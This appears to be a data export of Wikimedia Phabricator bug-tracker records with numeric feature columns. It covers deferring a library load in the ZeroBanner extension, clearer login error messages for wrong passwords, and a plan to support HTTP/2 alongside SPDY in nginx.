#patch-for-review",,,1417561332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-c2b6mwzwp2zlykhavkk5,task_subcomment,,True,c3,1,False,,,-31,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.764705882352941,0.8235294117647058,"Change 177101 had a related patch set uploaded (by QChris):
Ignore traffic from cache-local SSL terminators

[[GERRIT_URL]]

#patch-for-review"
114411,Zerobanner extension needlessly pulls in entire oojs ui library,It should only need to do that when you actually navigate to the route....,High,80.0,1443728922,1444421191.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-nn3e5zodp5in4urpocaw,task_description,resolved,True,c3,3,True,True,False,13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,20.0,13.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.066666666666666,0.9333333333333333,It should only need to do that when you actually navigate to the route....
545251,Zerobanner extension needlessly pulls in entire oojs ui library,"Change 244737 merged by jenkins-bot:
Defer loading of ZeroOverlay until needed

[[https://gerrit.wikimedia.org/r/244737]]",,,1444666116,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0476190476190474,0.9047619047619048,"Change 244737 merged by jenkins-bot:
Defer loading of ZeroOverlay until needed

[[GERRIT_URL]]"
544399,Zerobanner extension needlessly pulls in entire oojs ui library,"Change 243014 merged by jenkins-bot:
Defer loading of ZeroOverlay until needed

[[https://gerrit.wikimedia.org/r/243014]]",,,1444419620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0476190476190474,0.9047619047619048,"Change 243014 merged by jenkins-bot:
Defer loading of ZeroOverlay until needed

[[GERRIT_URL]]"
544394,Zerobanner extension needlessly pulls in entire oojs ui library,"Change 244737 had a related patch set uploaded (by Yurik):
Defer loading of ZeroOverlay until needed

[[https://gerrit.wikimedia.org/r/244737]]
",,,1444419486,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.9615384615384617,0.8846153846153846,"Change 244737 had a related patch set uploaded (by Yurik):
Defer loading of ZeroOverlay until needed

[[GERRIT_URL]]
"
544259,Zerobanner extension needlessly pulls in entire oojs ui library,Ping @yurik can you help us merge https://gerrit.wikimedia.org/r/243014 ? thanks!,,,1444408939,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,20.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,1.0,PingSCREEN_NAME can you help us merge GERRIT_URL ? thanks!
542999,Zerobanner extension needlessly pulls in entire oojs ui library,Fixed up.,,,1444250633,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,True,,,13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.0,Fixed up.
540193,Zerobanner extension needlessly pulls in entire oojs ui library,Feedback waiting on the patch.,,,1443817556,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,True,,,13,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.333333333333333,1.0,Feedback waiting on the patch.
540183,Zerobanner extension needlessly pulls in entire oojs ui library,"I got the go-ahead from Dan to remove ZeroInfo.js completely, which should allow us to completely remove OOjs-UI as a dependency. I'm reviewing your patch right now (there are some other issues), but feel free to start removing OOjs stuff for the next patch set @jdlrobson",,,1443816509,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,True,,,13,True,2.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,5.0,0.0,7.0,11.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,13.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,11.0,7.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,4.1454545454545455,0.8181818181818182,"I got the go-ahead from Dan to remove ZeroInfo.js completely, which should allow us to completely remove OOjs-UI as a dependency. I'm reviewing your patch right now (there are some other issues), but feel free to start removing OOjs stuff for the next patch setSCREEN_NAME"
540115,Zerobanner extension needlessly pulls in entire oojs ui library,"It would be great if this change could ride the train Monday. I'm not sure how much of our traffic comes from zero but it would be interesting to see that in our performance graphs if it's significant.
",,,1443811837,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,True,,,13,True,2.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,5.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,7.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,7.0,9.0,2.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,14.0,16.0,2.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8372093023255816,0.8604651162790697,"It would be great if this change could ride the train Monday. I'm not sure how much of our traffic comes from zero but it would be interesting to see that in our performance graphs if it's significant.
"
540110,Zerobanner extension needlessly pulls in entire oojs ui library,"Per https://phabricator.wikimedia.org/T114416#1698102, I'm going to check and see if we can eliminate the OOjs-UI code altogether from Zero as it's currently not being used.",,,1443811645,,PHID-USER-orutfwdvg667kr5vm5uk,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,True,,,13,True,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,7.0,0.0,10.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,21.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,17.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5517241379310347,1.0,Per URL I'm going to check and see if we can eliminate the OOjs-UI code altogether from Zero as it's currently not being used.
539298,Zerobanner extension needlessly pulls in entire oojs ui library,"Change 243014 had a related patch set uploaded (by Jdlrobson):
Defer loading of oojs ui on zero banners until needed

[[https://gerrit.wikimedia.org/r/243014]]
",,,1443730488,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nn3e5zodp5in4urpocaw,task_subcomment,,True,c3,3,False,,,13,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8333333333333335,0.9,"Change 243014 had a related patch set uploaded (by Jdlrobson):
Defer loading of oojs ui on zero banners until needed

[[GERRIT_URL]]
"
97477,Generic login failed message when password is wrong,"The app should respond with a specific error message when the user name or password is wrong while trying to log in.
We currently try to detect that by checking the API response for ""WrongPass"" but not for ""WrongPluginPass"".
See https://www.mediawiki.org/wiki/API:Login#Errors.
According to @bd808 we should treat both error codes as the same.
",High,80.0,1430257660,1434132708.0,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,PHID-USER-5gog4v3xjj6mq65koqgl,True,PHID-TASK-f4xnx6uzc3brnlmedskh,task_description,resolved,True,c3,1,False,False,True,-10,True,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,14.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,13.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,3.0,14.0,3.0,0.0,6.0,0.0,3.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,4.0476190476190474,0.7777777777777778,"The app should respond with a specific error message when the user name or password is wrong while trying to log in.
We currently try to detect that by checking the API response for ""WrongPass"" but not for ""WrongPluginPass"".
See URL
According toSCREEN_NAME we should treat both error codes as the same.
"
459394,Generic login failed message when password is wrong,"The red banner seems to be covering the input field. Principally input fields must not be obfuscated for messaging.
Since this task is simply about the copy, i'm ok with signing off on it.

I might have to file a separate ticket for error message display concerns.

Signed off by design. ",,,1431717065,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,5.0,18.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,8.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,3.9344262295081966,0.819672131147541,"The red banner seems to be covering the input field. Principally input fields must not be obfuscated for messaging.
Since this task is simply about the copy, i'm ok with signing off on it.

I might have to file a separate ticket for error message display concerns.

Signed off by design. "
459393,Generic login failed message when password is wrong,"The red banner seems to be covering the input field. Principally input fields must not be obfuscated for messaging.
Since this task is simply about the error messaging, i'm ok with signing off on it.

I might have to file a separate ticket for error message display concerns.

Signed off by design. ",,,1431717045,,PHID-USER-rooknayvbydy6sodz3lx,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,False,,,-7,True,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,5.0,18.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,8.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,4.032258064516129,0.7903225806451613,"The red banner seems to be covering the input field. Principally input fields must not be obfuscated for messaging.
Since this task is simply about the error messaging, i'm ok with signing off on it.

I might have to file a separate ticket for error message display concerns.

Signed off by design. "
452718,Generic login failed message when password is wrong,"|case| username |password|Message|
|1|correct      |correct| Login success!|
|2| incorrect| correct|Incorrect username|
|3| correct|incorrect|Incorrect password|
|4|incorrect|incorrect|Login failed:(|

{F159473}

",,,1430520582,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,False,,,-9,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.769230769230769,0.8461538461538461,"|case| username |password|Message|
|1|correct      |correct| Login success!|
|2| incorrect| correct|Incorrect username|
|3| correct|incorrect|Incorrect password|
|4|incorrect|incorrect|Login failed:(|

{F159473}

"
450719,Generic login failed message when password is wrong,"QA: BTW, @Deskana's patch also handles illegal characters in usernames (e.g. add a space or slash in the user field).
The difference for the WrongPluginPass vs. WrongPass is how auth is happening.
The WrongPluginPass code is used when CentralAuth is involved (e.g. the account is not a local account).",,,1430260749,,PHID-USER-tjyfydvd4ncrfvvr6mkr,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,False,,,-10,True,0.0,0.0,0.0,3.0,2.0,3.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,15.0,3.0,2.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,4.229508196721311,0.7213114754098361,"QA: BTW,SCREEN_NAME's patch also handles illegal characters in usernames (e.g. add a space or slash in the user field).
The difference for the WrongPluginPass vs. WrongPass is how auth is happening.
The WrongPluginPass code is used when CentralAuth is involved (e.g. the account is not a local account)."
450718,Generic login failed message when password is wrong,"Change 207287 merged by jenkins-bot:
Handle some more login API errors.

[[https://gerrit.wikimedia.org/r/207287]]",,,1430260528,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,False,,,-10,True,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,3.5454545454545454,0.9090909090909091,"Change 207287 merged by jenkins-bot:
Handle some more login API errors.

[[GERRIT_URL]]"
450703,Generic login failed message when password is wrong,"Change 207287 had a related patch set uploaded (by Deskana):
Handle some more login API errors.

[[https://gerrit.wikimedia.org/r/207287]]
",,,1430258912,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,False,,,-10,True,4.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,11.0,3.6296296296296298,0.8888888888888888,"Change 207287 had a related patch set uploaded (by Deskana):
Handle some more login API errors.

[[GERRIT_URL]]
"
450694,Generic login failed message when password is wrong,@bearND Sorry for snagging this from you without realising you were working on it. :-(,,,1430258486,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,25.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,4.75,0.9375,SCREEN_NAME Sorry for snagging this from you without realising you were working on it. :-(
450686,Generic login failed message when password is wrong,This patch should address this: https://gerrit.wikimedia.org/r/#/c/207287/,,,1430258132,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-f4xnx6uzc3brnlmedskh,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,This patch should address this: URL
96848,Support HTTP/2,"[Note the ticket has morphed a bit, and older comments at the top may not be very relevant anymore!]

We should support HTTP2, as this is the true standard that replaces the experimental SPDY and brings mostly the same benefits we've enjoyed so far with SPDY.  Note that our current production TLS terminators already support ALPN w/ SPDY, so ALPN-vs-NPN isn't an issue anymore.

Our current termination software is nginx 1.9.4 with a few extra local patches in support of parallel RSA+ECDSA certs.  Upstream nginx introduced HTTP2 support with their release of version 1.9.5.  However, they made an implementation decision to **replace** SPDY/3 support with HTTP2 support, rather than support both protocols side-by-side.  We believe that was a very poor decision, as it would have been easy to support both in the patches, and client statistics indicate the real world still has a fair number of clients out there which are SPDY- but not HTTP2- capable.

Our preliminary stats from sampling live TLS ClientHello data from our traffic (this was a fairly small sample, but I wouldn't expect too much change from a larger one) were:

| none      | 48.312%
| spdy+h2   | 25.426%
| spdy-only | 24.913%
| h2-only   | 01.350%

On a practical level, SPDY/3 and HTTP2 are both doing the same job in terms of effects on client and server performance and such.  If the stats above are broadly-accurate and we dropped SPDY/3 support for HTTP2 support today, we'd fall from ~50% of client connections on SPDY to only ~27% of client connections on HTTP2.

For an extra kick, this now also blocks us from upgrading to nginx 1.9.5 or higher in general, should we want to do so to apply fixes and improvements to other unrelated things.  We have a few basic categorical options here:

1. Re-work nginx's HTTP2 patch such that it doesn't remove SPDY/3 support, and then sort out making that into a reasonable diff against current nginx 1.9.x code.  Not completely trivial, but not all that difficult either given the patch history / diffs available at http://nginx.org/patches/http2/ .  Kind of awful in the sense of moving further away from upstream and having to deal with more local code maintenance burden.

2. Convince upstream nginx to do something similar on their own.

3. Do all the work of option 1 ourselves, and submit the patches and get them included in upstream, removing the latter half of the problem in option 1.

4. Move to a different TLS termination software altogether, which ideally supports SPDY/3 + HTTP2, or at least supports SPDY/3 and has future plans to introduce HTTP2 alongside it (so that at least we can continue tracking upstream on unrelated bugs/improvements, unlike the situation with nginx today).  Apache might be an option here, but there are probably others that fit the bill as well.  Some googling and evaluating is in order.",High,80.0,1429710468,1462382157.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-vory37kt7mm2yppntcba,task_description,resolved,True,c3,1,True,True,False,-11,True,1.0,0.16666666666666666,0.6666666666666666,0.0,1.1666666666666667,8.5,1.6666666666666667,0.0,0.0,0.16666666666666666,2.1666666666666665,0.8333333333333334,0.0,0.5,0.16666666666666666,2.5,0.16666666666666666,9.0,11.666666666666666,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,1.3333333333333333,0.5,0.5,0.0,4.166666666666667,1.0,0.5,0.3333333333333333,0.0,0.0,0.16666666666666666,0.5,0.5,0.0,0.6666666666666666,0.5,2.8333333333333335,0.0,0.3333333333333333,0.0,0.3333333333333333,0.16666666666666666,16.333333333333332,0.5,0.6666666666666666,0.0,0.16666666666666666,0.0,0.0,0.16666666666666666,0.3333333333333333,0.8333333333333334,0.16666666666666666,0.5,0.5,0.0,0.16666666666666666,0.0,0.3333333333333333,0.0,5.166666666666667,2.3333333333333335,8.5,0.8333333333333334,3.6666666666666665,7.333333333333333,0.0,0.0,0.16666666666666666,0.0,4.166666666666667,0.0,1.5,0.0,4.0,11.666666666666666,4.666666666666667,0.0,0.0,0.0,4.0,0.0,0.6666666666666666,2.3333333333333335,0.5,1.5,0.8333333333333334,0.3333333333333333,0.8333333333333334,4.020811417350445,0.7513324917595905,"[Note the ticket has morphed a bit, and older comments at the top may not be very relevant anymore!]

